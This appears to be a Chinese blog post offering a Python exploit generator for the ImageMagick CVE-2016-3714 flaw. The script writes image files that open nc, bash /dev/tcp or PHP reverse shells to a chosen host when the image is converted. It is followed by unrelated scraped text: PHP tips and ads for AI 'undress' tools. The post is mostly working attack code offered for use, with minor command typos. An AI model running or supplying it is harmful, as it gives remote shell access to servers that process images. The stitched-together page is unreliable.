前几天看到爆出了关于ImageMagick的远程执行漏洞(CVE-2016-3714),所以为了Evil0x.COM核心成员使用,写了一个exp生成脚本供大家使用。(免责声明,出了事我不管)
总体来说这个脚本有三个功能
生成针对NC反弹
生成针对bash反弹
生成针对php反射
服务端都可以使用nc侦听,会反弹shell。生成图片默认exp.png 后缀可以自由更改为其他的图片格式
什么叫做shell反弹?
reverse shell,又称shell反弹或shell反射,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
作者:莫旭友
链接:http://www.zhihu.com/question/24503813/answer/28088923
来源:知乎,稍有改动
以上,放出源代码。
文件下载:
imagemagic_exp.zip
# -*-coding:utf-8-*-#!/usr/bin/env python#imagemagic_exp.py import argparse class payload(object): """ building payload,you must input shell typle and server ip and port CVE-2016-3714 - Insufficient shell characters filtering leads to (potentially remote) code execution Insufficient filtering for filename passed to delegate's command allows remote code execution during conversion of several file formats """ def __init__(self, shelltype,ip,port): #super(_paload, self).__init__() self.shelltype = shelltype self.ip = ip self.port =port self.nc='nc -e /bin/sh' + self.ip+ ' ' + self.port self.bash= 'bash -i >& /dev/tcp/' + self.ip + '/' + self.port +' 0>%1' self.php="php -r '$sock=fsockopen(%s,%s);exec(\"/bin/sh -i <&3 >&3 2>&3\");'" %(self.ip,self.port) self.shell_dict={ 'nc': self.nc, 'bash': self.bash, 'php': self.php } def payloadbuild(self): """ push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/127.0.0.1/2333 0>&1")' pop graphic-context """ if self.shelltype =='nc': self.shell =self.shell_dict['nc'] if self.shelltype=='bash': self.shell =self.shell_dict['bash'] if self.shelltype=='php': self.shell =self.shell_dict['php'] self.shellcode="fill 'url(https://example.com/image.jpg\"|"+self.shell+ " \")\' " payload =[] payload.append('push graphic-context') payload.append('viewbox 0 0 640 480') payload.append(self.shellcode) payload.append('pop graphic-context') return payload #touch a jpg image def newimage(self): with open('exp.jpg', 'w') as file: for item in self.payloadbuild(): file.write(item+'\n') if __name__=='__main__': parse =argparse.ArgumentParser() parse.add_argument("--nc",help="生成可执行 nc反射的图片",action="store_true") parse.add_argument("--bash",help="生成可执行bash反射的图片",action="store_true") parse.add_argument("--php",help="生成可执行php射的图片",action="store_true") parse.add_argument("--ip",help="反弹shell 的 ip",default='127.0.0.1') parse.add_argument("--port",help="反弹shell的port",default='8888') args=parse.parse_args() if args.nc: test=payload('nc', args.ip, args.port) test.newimage() if args.bash: test=payload('bash', args.ip, args.port) test.newimage() if args.php: test=payload('php', args.ip, args.port) test.newimage()

APHPDependencyInjectionContainerisatoolthatmanagesclassdependencies,enhancingcodemodularity,testability,andmaintainability.Itactsasacentralhubforcreatingandinjectingdependencies,thusreducingtightcouplingandeasingunittesting.

Select DependencyInjection (DI) for large applications, ServiceLocator is suitable for small projects or prototypes. 1) DI improves the testability and modularity of the code through constructor injection. 2) ServiceLocator obtains services through center registration, which is convenient but may lead to an increase in code coupling.

PHPapplicationscanbeoptimizedforspeedandefficiencyby:1)enablingopcacheinphp.ini,2)usingpreparedstatementswithPDOfordatabasequeries,3)replacingloopswitharray_filterandarray_mapfordataprocessing,4)configuringNginxasareverseproxy,5)implementingcachingwi

PHPemailvalidationinvolvesthreesteps:1)Formatvalidationusingregularexpressionstochecktheemailformat;2)DNSvalidationtoensurethedomainhasavalidMXrecord;3)SMTPvalidation,themostthoroughmethod,whichchecksifthemailboxexistsbyconnectingtotheSMTPserver.Impl

TomakePHPapplicationsfaster,followthesesteps:1)UseOpcodeCachinglikeOPcachetostoreprecompiledscriptbytecode.2)MinimizeDatabaseQueriesbyusingquerycachingandefficientindexing.3)LeveragePHP7 Featuresforbettercodeefficiency.4)ImplementCachingStrategiessuc

ToimprovePHPapplicationspeed,followthesesteps:1)EnableopcodecachingwithAPCutoreducescriptexecutiontime.2)ImplementdatabasequerycachingusingPDOtominimizedatabasehits.3)UseHTTP/2tomultiplexrequestsandreduceconnectionoverhead.4)Limitsessionusagebyclosin

Dependency injection (DI) significantly improves the testability of PHP code by explicitly transitive dependencies. 1) DI decoupling classes and specific implementations make testing and maintenance more flexible. 2) Among the three types, the constructor injects explicit expression dependencies to keep the state consistent. 3) Use DI containers to manage complex dependencies to improve code quality and development efficiency.

DatabasequeryoptimizationinPHPinvolvesseveralstrategiestoenhanceperformance.1)Selectonlynecessarycolumnstoreducedatatransfer.2)Useindexingtospeedupdataretrieval.3)Implementquerycachingtostoreresultsoffrequentqueries.4)Utilizepreparedstatementsforeffi


Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

ZendStudio 13.5.1 Mac
Powerful PHP integrated development environment

Atom editor mac version download
The most popular open source editor

SecLists
SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

SAP NetWeaver Server Adapter for Eclipse
Integrate Eclipse with SAP NetWeaver application server.
